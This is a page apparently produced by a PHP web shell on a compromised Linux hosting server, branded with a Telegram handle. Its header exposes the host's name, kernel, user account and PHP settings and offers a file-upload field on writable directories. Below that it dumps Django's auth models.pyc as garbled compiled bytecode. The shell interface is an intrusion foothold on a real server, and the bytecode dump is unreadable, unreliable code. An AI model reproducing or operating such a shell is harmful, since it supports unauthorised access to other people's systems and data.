https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/auth/models.pyc
�
r�\c@s�ddlmZddlZddlZddlmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZmZmZddlmZddl m!Z!ddl"m#Z#d�Z$ej%e$�de&fd��YZ'dej(fd��YZ)e#dej*fd��Y�Z+dej(fd��YZ,e#dej*fd��Y�Z-dej(fd��YZ.de.fd ��YZ/e#d!ej*fd"��Y�Z0d#�Z1d$�Z2d%�Z3d&ej*fd'��YZ4d(e0e4fd)��YZ5d*e5fd+��YZ6e#d,e7fd-��Y�Z8dS(.i����(tunicode_literalsN(tImproperlyConfigured(t	send_mail(t
validators(tmodels(tEmptyManager(tget_random_string(turlquote(tsix(t
ugettext_lazy(ttimezone(tauth(tcheck_passwordt
make_passwordtis_password_usable(tuser_logged_in(tContentType(tpython_2_unicode_compatiblecKs&tj�|_|jddg�dS(uZ
    A signal receiver which updates the last_login date for
    the user logging in.
    t
update_fieldsu
last_loginN(R
tnowt
last_logintsave(tsendertusertkwargs((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytupdate_last_loginstSiteProfileNotAvailablecBseZRS((t__name__t
__module__(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR"stPermissionManagercBseZd�ZRS(cCs%|jd|dtjj||��S(Ntcodenametcontent_type(tgetRtobjectstget_by_natural_key(tselfRt	app_labeltmodel((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR"'s	(RRR"(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR&st
PermissioncBs�eZdZejed�dd�Zeje�Z	ejed�dd�Z
e�Zddd��YZ
d�Zd	�Zd
ge_RS(u 
    The permissions system provides a way to assign permissions to specific
    users and groups of users.

    The permission system is used by the Django admin site, but may also be
    useful in your own code. The Django admin site uses permissions as follows:

        - The "add" permission limits the user's ability to view the "add" form
          and add an object.
        - The "change" permission limits a user's ability to view the change
          list, view the "change" form and change an object.
        - The "delete" permission limits the ability to delete an object.

    Permissions are set globally per type of object, not per specific object
    instance. It is possible to say "Mary may change news stories," but it's
    not currently possible to say "Mary may change news stories, but only the
    ones she created herself" or "Mary may only change news stories that have a
    certain status or publication date."

    Three basic permissions -- add, change and delete -- are automatically
    created for each Django model.
    unamet
max_lengthi2ucodenameidtMetacBs,eZed�Zed�ZdZdZRS(	u
permissionupermissionsucontent_typeucodenameucontent_type__app_labelucontent_type__model(ucontent_typeucodename((ucontent_typeucodename(ucontent_type__app_labelucontent_type__modelucodename(RRt_tverbose_nametverbose_name_pluraltunique_togethertordering(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(Ls
cCs8dtj|jj�tj|j�tj|j�fS(Nu%s | %s | %s(Rt	text_typeRR$tname(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt__str__SscCs|jf|jj�S(N(RRtnatural_key(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR1Ysucontenttypes.contenttype((RRt__doc__Rt	CharFieldR)R/t
ForeignKeyRRRRR!R(R0R1tdependencies(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR&/s			tGroupManagercBseZdZd�ZRS(u1
    The manager for the auth's Group model.
    cCs|jd|�S(NR/(R (R#R/((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR"bs(RRR2R"(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR6^stGroupcBs~eZdZejed�ddde�Zeje	ded�de�Z
e�Zddd	��YZ
d
�Zd�ZRS(
u
    Groups are a generic way of categorizing users to apply permissions, or
    some other label, to those users. A user can belong to any number of
    groups.

    A user in a group automatically has all the permissions granted to that
    group. For example, if the group Site editors has the permission
    can_edit_home_page, any user in that group will have that permission.

    Beyond permissions, groups are a convenient way to categorize users to
    apply some label, or extended functionality, to them. For example, you
    could create a group 'Special users', and you could write code that would
    do special things to those users -- such as giving them access to a
    members-only portion of your site, or sending them members-only email
    messages.
    unameR'iPtuniqueR*upermissionstblankR(cBs eZed�Zed�ZRS(ugroupugroups(RRR)R*R+(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(~scCs|jS(N(R/(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR0�scCs
|jfS(N(R/(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR1�s((RRR2RR3R)tTrueR/tManyToManyFieldR&tpermissionsR6R!R(R0R1(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR7fs!		tBaseUserManagercBs/eZed��Zddd�Zd�ZRS(cCsa|p	d}y"|j�jdd�\}}Wntk
rAnXdj||j�g�}|S(ud
        Normalize the address by lowercasing the domain part of the email
        address.
        uu@i(tstriptrsplitt
ValueErrortjointlower(tclstemailt
email_nametdomain_part((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytnormalize_email�s"
i
u7abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789cCs
t||�S(u�
        Generates a random password with the given length and given
        allowed_chars. Note that the default value of allowed_chars does not
        have "I" or "O" or letters and digits that look similar -- just to
        avoid confusion.
        (R(R#tlengtht
allowed_chars((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytmake_random_password�s
cCs|ji||jj6�S(N(R R%tUSERNAME_FIELD(R#tusername((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR"�s(RRtclassmethodRGRJR"(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR=�stUserManagercBs)eZd�Zddd�Zd�ZRS(c	Ks�tj�}|s!td��n|j|�}|jd|d|d|dtd|d|d||�}|j|�|jd	|j�|S(
uW
        Creates and saves a User with the given username, email and password.
        uThe given username must be setRLRDtis_stafft	is_activetis_superuserRtdate_joinedtusing(	R
RR@RGR%R:tset_passwordRt_db(	R#RLRDtpasswordRORQtextra_fieldsRR((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_create_user�s
cKs|j|||tt|�S(N(RXtFalse(R#RLRDRVRW((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytcreate_user�scKs|j|||tt|�S(N(RXR:(R#RLRDRVRW((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytcreate_superuser�sN(RRRXtNoneRZR[(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRN�s	tAbstractBaseUsercBs�eZejed�dd�Zejed�dej�Z	e
ZgZddd��YZ
d�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�ZRS(upasswordR'i�u
last logintdefaultR(cBseZeZRS((RRR:tabstract(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(�scCst||j�S(u-Return the identifying username for this User(tgetattrRK(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytget_username�scCs
|j�S(N(Ra(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR0�scCs
|j�fS(N(Ra(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR1�scCstS(uk
        Always returns False. This is a way of comparing User objects to
        anonymous users.
        (RY(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytis_anonymous�scCstS(ut
        Always return True. This is a way to tell if the user has been
        authenticated in templates.
        (R:(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytis_authenticated�scCst|�|_dS(N(R
RV(R#traw_password((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRT�scs"�fd�}t|�j|�S(u
        Returns a boolean of whether the raw_password was correct. Handles
        hashing formats behind the scenes.
        cs$�j|��jddg�dS(NRupassword(RTR(Rd(R#(s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytsetter�s
(RRV(R#RdRe((R#s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR�scCstd�|_dS(N(R
R\RV(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytset_unusable_password�scCs
t|j�S(N(RRV(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pythas_usable_password�scCs
t��dS(N(tNotImplementedError(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt
get_full_name�scCs
t��dS(N(Rh(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytget_short_names((RRRR3R)RVt
DateTimeFieldR
RRR:RPtREQUIRED_FIELDSR(RaR0R1RbRcRTRRfRgRiRj(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR]�s 							
			cCsOt�}x?tj�D]1}t|d�r|j|j||��qqW|S(Nuget_all_permissions(tsetRtget_backendsthasattrtupdatetget_all_permissions(RtobjR<tbackend((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_user_get_all_permissionss
	 cCsFx?tj�D]1}t|d�r
|j|||�r>tSq
q
WtS(Nuhas_perm(RRnRothas_permR:RY(RtpermRrRs((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_user_has_perms
cCsCx<tj�D].}t|d�r
|j||�r;tSq
q
WtS(Nuhas_module_perms(RRnRothas_module_permsR:RY(RR$Rs((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_user_has_module_permss
tPermissionsMixincBs�eZdZejed�deded��Zeje	ded�de
ded�d	d
dd�Zejeded
�de
ded�d	d
dd�Z
ddd��YZdd�Zdd�Zdd�Zdd�Zd�ZRS(u�
    A mixin class that adds the fields and methods necessary to support
    Django's Group and Permission model using the ModelBackend.
    usuperuser statusR^t	help_textuPDesignates that this user has all permissions without explicitly assigning them.R*ugroupsR9ubThe groups this user belongs to. A user will get all permissions granted to each of his/her group.trelated_nameuuser_settrelated_query_nameuuseruuser permissionsu#Specific permissions for this user.R(cBseZeZRS((RRR:R_(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(0scCsOt�}x?tj�D]1}t|d�r|j|j||��qqW|S(u�
        Returns a list of permission strings that this user has through their
        groups. This method queries all available auth backends. If an object
        is passed in, only permissions matching this object are returned.
        uget_group_permissions(RmRRnRoRptget_group_permissions(R#RrR<Rs((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR~3s
	 cCs
t||�S(N(Rt(R#Rr((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRq?scCs&|jr|jrtSt|||�S(u
        Returns True if the user has the specified permission. This method
        queries all available auth backends, but returns immediately if any
        backend returns True. Thus, a user who has permission from a single
        auth backend is assumed to have permission in general. If an object is
        provided, permissions for this specific object are checked.
        (RPRQR:Rw(R#RvRr((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRuBs
cCs+x$|D]}|j||�stSqWtS(u�
        Returns True if the user has each of the specified permissions. If
        object is passed, it checks if the user has all required perms for this
        object.
        (RuRYR:(R#t	perm_listRrRv((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt	has_permsRs
cCs#|jr|jrtSt||�S(u�
        Returns True if the user has any permissions in the given app label.
        Uses pretty much the same logic as has_perm, above.
        (RPRQR:Ry(R#R$((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRx]s(N(RRR2RtBooleanFieldR)RYRQR;R7R:tgroupsR&tuser_permissionsR(R\R~RqRuR�Rx(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRzs tAbstractUserc
Bs�eZdZejed�dddeded�deje	j
d�ed	�d
�g�Zejed�ddde�Zejed
�ddde�Z
ejed�de�Zejed�deded��Zejed�deded��Zejed�dej�Ze�ZdZdgZddd��YZd�Zd�Zd�Zdd�Z!d�Z"RS(u�
    An abstract base class implementing a fully featured User model with
    admin-compliant permissions.

    Username, password and email are required. Other fields are optional.
    uusernameR'iR8R{uKRequired. 30 characters or fewer. Letters, numbers and @/./+/-/_ charactersRu^[\w.@+-]+$uEnter a valid username.uinvalidu
first nameR9u	last nameu
email addressustaff statusR^u9Designates whether the user can log into this admin site.uactiveueDesignates whether this user should be treated as active. Unselect this instead of deleting accounts.udate joineduemailR(cBs&eZed�Zed�ZeZRS(uuseruusers(RRR)R*R+R:R_(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(�scCsdt|j�S(Nu
/users/%s/(RRL(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytget_absolute_url�scCs d|j|jf}|j�S(uU
        Returns the first_name plus the last_name, with a space in between.
        u%s %s(t
first_namet	last_nameR>(R#t	full_name((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRi�scCs|jS(u$Returns the short name for the user.(R�(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRj�scCst||||jg�dS(u.
        Sends an email to this User.
        N(RRD(R#tsubjecttmessaget
from_email((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt
email_user�scCs#tjdtdd�t|d�sddlm}t|dt�sVtd��ny|j	j
d	�\}}Wntk
r�td
��nXygtj
||�}|d
kr�td��n|jj|jj�jd|j�|_||j_Wqttfk
rt�qXn|jS(u�
        Returns site-specific profile for this user. Raises
        SiteProfileNotAvailable if this site does not allow profiles.
        uKThe use of AUTH_PROFILE_MODULE to define user profiles has been deprecated.t
stackleveliu_profile_cachei����(tsettingsuAUTH_PROFILE_MODULEu<You need to set AUTH_PROFILE_MODULE in your project settingsu.uXapp_label and model_name should be separated by a dot in the AUTH_PROFILE_MODULE settinguTUnable to load the profile model, check AUTH_PROFILE_MODULE in your project settingstuser__id__exactN(twarningstwarntDeprecationWarningRotdjango.confR�R`RYRtAUTH_PROFILE_MODULEtsplitR@Rt	get_modelR\t_default_managerRSt_statetdbR tidt_profile_cacheRtImportErrorR(R#R�R$t
model_nameR%((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytget_profile�s.	


	!
(N(#RRR2RR3R)R:RtRegexValidatortretcompileRLR�R�t
EmailFieldRDR�RYRORPRkR
RRRRNR!RKRlR(R�RiRjR\R�R�(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR�is**!!					tUsercBs'eZdZdejfd��YZRS(u�
    Users within the Django authentication system are represented by this
    model.

    Username, password and email are required. Other fields are optional.
    R(cBseZdZRS(uAUTH_USER_MODEL(RRt	swappable(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR(�s(RRR2R�R((((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR��st
AnonymousUsercBs
eZdZdZdZeZeZeZ	e
e�Ze
e
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd	�Zd
�Zee�Zd�Zee�Zdd�Zdd
�Zdd�Zdd�Z d�Z!d�Z"d�Z#RS(ucCsdS(N((R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt__init__�scCsdS(Nu
AnonymousUser((R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR0�scCst||j�S(N(t
isinstancet	__class__(R#tother((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt__eq__�scCs|j|�S(N(R�(R#R�((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt__ne__�scCsdS(Ni((R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt__hash__�scCs
t�dS(N(Rh(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR�scCs
t�dS(N(Rh(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pytdelete�scCs
t�dS(N(Rh(R#Rd((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRT�scCs
t�dS(N(Rh(R#Rd((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR�scCs|jS(N(t_groups(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_get_groups�scCs|jS(N(t_user_permissions(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt_get_user_permissions�scCst�S(N(Rm(R#Rr((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR~�scCst|d|�S(NRr(Rt(R#Rr((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRq�scCst||d|�S(NRr(Rw(R#RvRr((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRu�scCs+x$|D]}|j||�stSqWtS(N(RuRYR:(R#RRrRv((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR�s
cCs
t||�S(N(Ry(R#tmodule((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRxscCstS(N(R:(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRbscCstS(N(RY(R#((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyRcsN($RRR\R�tpkRLRYRORPRQRR7R�R&R�R�R0R�R�R�RR�RTRR�tpropertyR�R�R�R~RqRuR�RxRbRc(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyR��s8													(9t
__future__RR�R�tdjango.core.exceptionsRtdjango.core.mailRtdjango.coreRt	django.dbRtdjango.db.models.managerRtdjango.utils.cryptoRtdjango.utils.httpRtdjango.utilsRtdjango.utils.translationR	R)R
tdjango.contribRtdjango.contrib.auth.hashersRR
Rtdjango.contrib.auth.signalsRt"django.contrib.contenttypes.modelsRtdjango.utils.encodingRRtconnectt	ExceptionRtManagerRtModelR&R6R7R=RNR]RtRwRyRzR�R�tobjectR�(((s</tmp/pip-install-XxeQeY/django/django/contrib/auth/models.pyt<module>sL	
	."!?			KW

https://t.me/AnonymousX5 - 2025